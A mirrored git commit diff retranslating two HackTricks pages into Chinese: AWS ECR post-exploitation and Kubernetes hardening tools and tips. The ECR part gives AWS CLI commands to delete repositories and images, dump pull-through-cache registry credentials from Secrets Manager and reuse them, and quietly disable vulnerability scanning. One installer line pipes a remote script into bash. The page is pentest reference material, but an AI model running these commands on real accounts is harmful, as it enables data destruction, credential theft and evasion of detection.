mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+54
-23
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
如需更多信息,请查看
|
||||
更多信息请参阅
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
下载镜像后,你应该**检查它们是否包含敏感信息**:
|
||||
在下载镜像后,您应该**检查它们是否包含敏感信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
拥有这些权限的攻击者可以**创建或修改生命周期策略以删除仓库中的所有镜像**,然后**删除整个 ECR repository**。这将导致存储在该仓库中的所有容器镜像丢失。
|
||||
拥有任一这些权限的攻击者可以**创建或修改生命周期策略以删除仓库中的所有镜像**,然后**删除整个 ECR 仓库**。这将导致仓库中存储的所有容器镜像丢失。
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### 从 ECR Pull‑Through Cache (PTC) 提取上游注册表凭证
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
如果 ECR Pull‑Through Cache 为需要认证的上游注册表(Docker Hub, GHCR, ACR, etc.)配置,上游凭证会以可预测的名称前缀存储在 AWS Secrets Manager 中:`ecr-pullthroughcache/`。操作者有时会授予 ECR admins 对 AWS Secrets Manager 的广泛读取权限,从而允许凭证被提取并在 AWS 之外重用。
|
||||
如果 ECR Pull‑Through Cache 为需要身份验证的上游注册表(Docker Hub、GHCR、ACR 等)配置,则上游凭证会存储在 AWS Secrets Manager 中,名称前缀可预测:`ecr-pullthroughcache/`。运营者有时会授予 ECR admins 对 Secrets Manager 的广泛读取权限,从而使凭证能够被外部提取并在 AWS 之外重用。
|
||||
|
||||
先决条件
|
||||
要求
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
枚举候选 PTC 机密
|
||||
枚举候选 PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
转储发现的 secrets 并解析常见字段
|
||||
导出发现的秘密并解析常见字段
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,23 +114,23 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
可选:验证 leaked creds 是否对上游有效(只读登录)
|
||||
可选:针对上游验证 leaked creds(只读 login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
影响
|
||||
- 阅读这些 Secrets Manager 条目会泄露可重用的上游注册表凭证(用户名/密码或令牌),这些凭证可在 AWS 之外被滥用,用于拉取私有镜像或根据上游权限访问额外仓库。
|
||||
- 读取这些 Secrets Manager 条目会得到可重用的上游 registry 凭证 (username/password or token),这些凭证可以在 AWS 之外被滥用来拉取私有镜像或根据上游权限访问额外的仓库。
|
||||
|
||||
|
||||
### 注册表级隐匿:通过 `ecr:PutRegistryScanningConfiguration` 禁用或降级扫描
|
||||
### 注册表级隐蔽:通过 `ecr:PutRegistryScanningConfiguration` 禁用或降级扫描
|
||||
|
||||
具有注册表级 ECR 权限的攻击者可以通过将注册表扫描配置设置为 BASIC 并且不添加任何 scan-on-push 规则,悄然减少或禁用所有仓库的自动漏洞扫描。这会阻止新镜像推送被自动扫描,从而隐藏易受攻击或恶意的镜像。
|
||||
具有注册表级 ECR 权限的攻击者可以通过将 registry scanning configuration 设置为 BASIC 并且不设置任何 scan-on-push 规则,悄无声息地降低或禁用对所有仓库的自动漏洞扫描。这样会阻止新镜像被自动扫描,从而隐藏易受攻击或恶意的镜像。
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (可选,按仓库)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (验证)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (用于验证)
|
||||
|
||||
将整个注册表降级为手动(无自动扫描)
|
||||
```bash
|
||||
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
使用 repo 和 image 进行测试
|
||||
使用一个 repo 和 image 进行测试
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
可选:在仓库范围进一步降级
|
||||
可选:在仓库级别进一步降级
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,21 +168,20 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
影响
|
||||
- 整个注册表中新镜像的推送不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并延迟了检测,直到手动扫描被触发。
|
||||
- 跨整个注册表的新镜像推送不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并会延迟检测,直到手动启动扫描。
|
||||
|
||||
### 通过 `ecr:PutAccountSetting` 对整个注册表的扫描引擎降级 (AWS_NATIVE -> CLAIR)
|
||||
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换为旧版 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但会实质性改变发现结果/覆盖范围。可与不含规则的 BASIC 注册表扫描配置结合使用,使扫描仅在手动触发时执行。
|
||||
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换到旧的 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但可能显著改变发现结果/覆盖范围。将此与没有规则的 BASIC 注册表扫描配置结合,可使扫描仅在手动触发时执行。
|
||||
|
||||
Requirements
|
||||
要求
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (可选) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (可选)`ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
影响
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设置为 `CLAIR`,因此随后的 BASIC 扫描将使用降级的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设为 `CLAIR`,因此随后的 BASIC 扫描将使用降级后的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
|
||||
Steps
|
||||
步骤
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -201,4 +200,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### 扫描 ECR 镜像以查找漏洞
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Kubernetes Hardening
|
||||
# Kubernetes 加固
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 分析集群的工具
|
||||
## 用于分析集群的工具
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
它会对 **Kubernetes 集群进行多项合规性检查**。它支持 CIS、National Security Agency (NSA) 和 Cybersecurity and Infrastructure Security Agency (CISA) 关于 Kubernetes 加固的网络安全技术报告。
|
||||
它将对 Kubernetes 集群执行 **多项合规性检查**。它支持 CIS、美国国家安全局 (NSA) 以及美国网络安全与基础设施安全局 (CISA) 发布的关于 Kubernetes 加固的网络安全技术报告。
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,93 +27,93 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) 是一款面向 K8s 的开源工具,提供跨多云的 K8s 单一管理面板,包含风险分析、安全合规、RBAC 可视化以及镜像漏洞扫描。Kubescape 会扫描 K8s 集群、YAML 文件和 HELM charts,依据多个框架(例如 the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/))检测配置错误、软件漏洞和 RBAC (role-based-access-control) 违规,能在 CI/CD pipeline 的早期阶段发现问题,实时计算风险评分并展示随时间变化的风险趋势。
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) 是一个 K8s 开源工具,为多云环境提供 K8s 单一控制面板,包括风险分析、安全合规、RBAC 可视化和镜像漏洞扫描。Kubescape 会扫描 K8s 集群、YAML 文件和 HELM charts,依据多种框架(例如 [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/))检测错误配置、软件漏洞以及 CI/CD 管道早期的 RBAC (role-based-access-control) 违规,实时计算风险得分并展示随时间的风险趋势。
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) 是一个实用工具,用于扫描实时 Kubernetes 集群并 **报告已部署资源和配置的潜在问题**。它基于已部署的内容而不是磁盘上的内容来清理你的集群。通过扫描你的集群,它可以检测到错误配置,帮助你确保已采用最佳实践,从而避免将来的麻烦。它旨在减少在实际运行 Kubernetes 集群时操作人员面临的认知过载。进一步来说,如果你的集群使用了 metric-server,它会报告潜在的资源过/少 分配,并在集群可能耗尽容量时尝试发出警告。
|
||||
[**Popeye**](https://github.com/derailed/popeye) 是一个对运行中的 Kubernetes 集群进行扫描的实用工具,能**报告已部署资源和配置的潜在问题**。它基于实际部署的内容(而不是磁盘上的文件)对集群进行清理。通过扫描集群,它能检测错误配置并帮助你确保最佳实践得到落实,从而避免未来的问题。其目标是减少在实际运行 Kubernetes 集群时所面临的认知过载。除此之外,如果你的集群使用 metric-server,它会报告资源分配过度/不足的潜在问题,并在集群可能耗尽容量时尝试发出警告。
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**].\
|
||||
You can choose to:
|
||||
工具 [**kube-bench**](https://github.com/aquasecurity/kube-bench) 是一个根据 [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) 中记录的检查来验证 Kubernetes 是否安全部署的工具。\
|
||||
你可以选择:
|
||||
|
||||
- 在 container 内运行 kube-bench(与 host 共享 PID namespace)
|
||||
- 运行一个将 kube-bench 安装到 host 上的 container,然后直接在 host 上运行 kube-bench
|
||||
- 从 [Releases page](https://github.com/aquasecurity/kube-bench/releases) 安装最新的 binaries,
|
||||
- 从 source 编译它。
|
||||
- 在容器内运行 kube-bench(与主机共享 PID namespace)
|
||||
- 运行一个在主机上安装 kube-bench 的容器,然后直接在主机上运行 kube-bench
|
||||
- 从 [Releases page](https://github.com/aquasecurity/kube-bench/releases) 安装最新二进制文件,
|
||||
- 从源代码编译。
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **审计 Kubernetes 集群** for various different security concerns.
|
||||
[**已弃用**] 该工具 [**kubeaudit**](https://github.com/Shopify/kubeaudit) 是一个命令行工具和 Go 包,用于**审计 Kubernetes 集群**以应对各种不同的安全问题。
|
||||
|
||||
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
|
||||
Kubeaudit 可以检测自身是否在集群内的容器中运行。如果是,它会尝试审计该集群中的所有 Kubernetes 资源:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
该工具还带有参数 `autofix`,用于**自动修复检测到的问题。**
|
||||
该工具还有参数 `autofix` 可**自动修复检测到的问题。**
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECATED]** 该工具 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) 用于在 Kubernetes 集群中发现安全弱点。该工具的开发目的是提高对 Kubernetes 环境中安全问题的认识和可见性。
|
||||
**[已弃用]** 工具 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) 在 Kubernetes 集群中搜索安全弱点。该工具的开发旨在提高对 Kubernetes 环境中安全问题的认知与可见性。
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) 具有用于检测安全问题的扫描器,以及它可以检查的目标:
|
||||
[Trivy](https://github.com/aquasecurity/trivy) 有用于查找安全问题的扫描器,可检测以下目标:
|
||||
|
||||
- Container Image
|
||||
- Filesystem
|
||||
- Git Repository (remote)
|
||||
- Virtual Machine Image
|
||||
- 容器镜像 (Container Image)
|
||||
- 文件系统 (Filesystem)
|
||||
- Git 仓库(远程)(Git Repository (remote))
|
||||
- 虚拟机镜像 (Virtual Machine Image)
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**[似乎已不再维护]**
|
||||
**[看起来不再维护]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) 是一个漏洞扫描和 CIS Docker 基准检测工具,能够让用户对其 Kubernetes 集群进行准确且即时的风险评估。Kubei 会扫描 Kubernetes 集群中使用的所有镜像,包括应用 pods 和系统 pods 的镜像。
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) 是一个漏洞扫描和 CIS Docker 基准工具,允许用户对其 Kubernetes 集群进行准确且即时的风险评估。Kubei 会扫描在 Kubernetes 集群中使用的所有镜像,包括应用 pods 和系统 pods 的镜像。
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) 是一个用于扫描 Kubernetes 集群中基于 Role-based access control (RBAC) 授权模型下高风险权限的工具。
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) 是一个用于扫描 Kubernetes 集群中基于角色访问控制 (RBAC) 授权模型中高风险权限的工具。
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 是一个用于执行与其他工具不同类型高风险检查的工具。它主要有 3 种模式:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 是一个用来执行与其他工具相比更高风险检查的工具。主要有 3 种模式:
|
||||
|
||||
- **`find-role-relationships`**: 用于查找哪些 AWS roles 在哪些 pods 中运行
|
||||
- **`find-secrets`**: 尝试识别 Pods、ConfigMaps 和 Secrets 等 K8s 资源中的密钥
|
||||
- **`test-imds-access`**: 会尝试运行 pods 并尝试访问 metadata v1 和 v2。警告:这将会在集群中运行一个 pod,请非常小心,可能你并不希望这样做!
|
||||
- **`find-role-relationships`**: 用于查找哪些 AWS 角色在哪些 pods 中运行
|
||||
- **`find-secrets`**: 尝试在 K8s 资源(例如 Pods、ConfigMaps 和 Secrets)中识别 secrets
|
||||
- **`test-imds-access`**: 会尝试运行 pod 并尝试访问 metadata v1 和 v2。警告:该操作会在集群中运行一个 pod,请非常谨慎,可能不是你想要的操作!
|
||||
|
||||
## **审计 IaC 代码**
|
||||
## **Audit IaC Code**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) 在以下 Infrastructure as Code 解决方案中发现安全漏洞、合规性问题和基础设施配置错误:Terraform、Kubernetes、Docker、AWS CloudFormation、Ansible、Helm、Microsoft ARM 以及 OpenAPI 3.0 规范
|
||||
[**KICS**](https://github.com/Checkmarx/kics) 用于在以下 **Infrastructure as Code 解决方案** 中发现 **安全漏洞**、合规问题和基础设施错误配置:Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, 和 OpenAPI 3.0 规范
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) 是一个针对 infrastructure-as-code 的静态代码分析工具。
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) 是一个针对基础设施即代码的静态代码分析工具。
|
||||
|
||||
它扫描使用 [Terraform](https://terraform.io)、Terraform plan、[Cloudformation](https://aws.amazon.com/cloudformation/)、[AWS SAM](https://aws.amazon.com/serverless/sam/)、[Kubernetes](https://kubernetes.io)、[Dockerfile](https://www.docker.com)、[Serverless](https://www.serverless.com) 或 [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 所部署的云基础设施,并使用基于图的扫描检测安全和合规性配置错误。
|
||||
它会扫描使用 [Terraform](https://terraform.io)、Terraform plan、[Cloudformation](https://aws.amazon.com/cloudformation/)、[AWS SAM](https://aws.amazon.com/serverless/sam/)、[Kubernetes](https://kubernetes.io)、[Dockerfile](https://www.docker.com)、[Serverless](https://www.serverless.com) 或 [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 提供的云基础设施,并使用基于图的扫描检测安全和合规错误配置。
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) 是一个对你的 Kubernetes 对象定义执行静态代码分析的工具。
|
||||
[**kube-score**](https://github.com/zegl/kube-score) 是一个对你的 Kubernetes 对象定义进行静态代码分析的工具。
|
||||
|
||||
To install:
|
||||
|
||||
| 平台 | 命令 / 链接 |
|
||||
| -------------------------------------------------- | ---------------------------------------------------------------------------------------- |
|
||||
| 适用于 macOS、Linux 和 Windows 的预构建二进制文件 | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| 平台 | 命令 / 链接 |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| 适用于 macOS、Linux 和 Windows 的预构建二进制文件 | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Tools to analyze YAML files & Helm Charts
|
||||
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Tips
|
||||
## 扫描依赖问题
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### 扫描镜像
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### 扫描 Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
你可以配置 **Pods 的安全上下文**(使用 _PodSecurityContext_)以及将要运行的 **容器** 的安全上下文(使用 _SecurityContext_)。更多信息请阅读:
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## 提示
|
||||
|
||||
### Kubernetes PodSecurityContext 和 SecurityContext
|
||||
|
||||
你可以为 Pod 配置 **security context**(使用 _PodSecurityContext_),并为将要运行的 **containers** 配置 _SecurityContext_。更多信息请阅读:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Kubernetes API Hardening
|
||||
### Kubernetes API 加固
|
||||
|
||||
保护对 Kubernetes Api Server 的访问非常重要,因为拥有足够权限的恶意行为者可能滥用它并以多种方式破坏环境。\
|
||||
需要同时保护对 API Server 的 **访问**(**白名单** 来源以访问 API Server 并拒绝任何其他连接)和 [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)(遵循 **最小** **权限** 原则)。并且绝对**不要****允许****匿名** **请求**。
|
||||
非常重要的一点是要**保护对 Kubernetes Api Server 的访问**,因为具有足够权限的恶意行为者可能会滥用它并以多种方式破坏环境。
|
||||
重要的是要同时保护 **访问**(将允许访问 API Server 的来源列入白名单并拒绝任何其他连接)和 [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)(遵循**最小权限**原则)。并且绝对**不要****允许****匿名**请求。
|
||||
|
||||
**Common Request process:**\
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
**常见请求流程:**\
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control。
|
||||
|
||||
**Tips**:
|
||||
**提示**:
|
||||
|
||||
- 关闭端口。
|
||||
- 避免匿名访问。
|
||||
- NodeRestriction;阻止特定节点访问 API。
|
||||
- NodeRestriction:阻止特定节点访问 API。
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- 基本上阻止 kubelets 添加/删除/更新带有 node-restriction.kubernetes.io/ 前缀的标签。该标签前缀保留给管理员用于对 Node objects 进行标签以实现工作负载隔离,kubelets 将不被允许修改具有该前缀的标签。
|
||||
- 同时,也允许 kubelets 添加/删除/更新这些标签和标签前缀。
|
||||
- 使用标签确保安全的工作负载隔离。
|
||||
- 阻止特定 pods 访问 API。
|
||||
- 避免将 ApiServer 暴露到互联网。
|
||||
- 避免未授权访问,配置 RBAC。
|
||||
- 通过防火墙和 IP 白名单保护 ApiServer 端口。
|
||||
- 基本上阻止 kubelets 添加/删除/更新以 node-restriction.kubernetes.io/ 为前缀的 labels。该标签前缀保留给管理员用于为其 Node 对象打标签以实现工作负载隔离,kubelets 将不被允许修改具有该前缀的标签。
|
||||
- 同时,允许 kubelets 添加/删除/更新这些标签及标签前缀。
|
||||
- 通过标签确保工作负载隔离的安全性。
|
||||
- 阻止特定 Pod 访问 API。
|
||||
- 避免 ApiServer 暴露到互联网。
|
||||
- 避免未经授权的访问(RBAC)。
|
||||
- 对 ApiServer 端口使用防火墙和 IP 白名单。
|
||||
|
||||
### SecurityContext Hardening
|
||||
### SecurityContext 加固
|
||||
|
||||
如果未指定其他用户,默认情况下启动 Pod 时会使用 root 用户。你可以使用类似下面的模板在更安全的上下文中运行你的应用:
|
||||
默认情况下,如果未指定其他用户,Pod 启动时会使用 root 用户。你可以使用类似下面的模板,在更安全的上下文中运行你的应用程序:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -225,29 +297,29 @@ allowPrivilegeEscalation: true
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
|
||||
### 常规加固
|
||||
### 常规硬化
|
||||
|
||||
你应该根据需要频繁更新你的 Kubernetes 环境,以确保:
|
||||
应根据需要定期更新你的 Kubernetes 环境,以确保:
|
||||
|
||||
- 依赖项保持最新。
|
||||
- 应用 bug 修复和安全补丁。
|
||||
- 依赖保持最新。
|
||||
- 错误和安全补丁已应用。
|
||||
|
||||
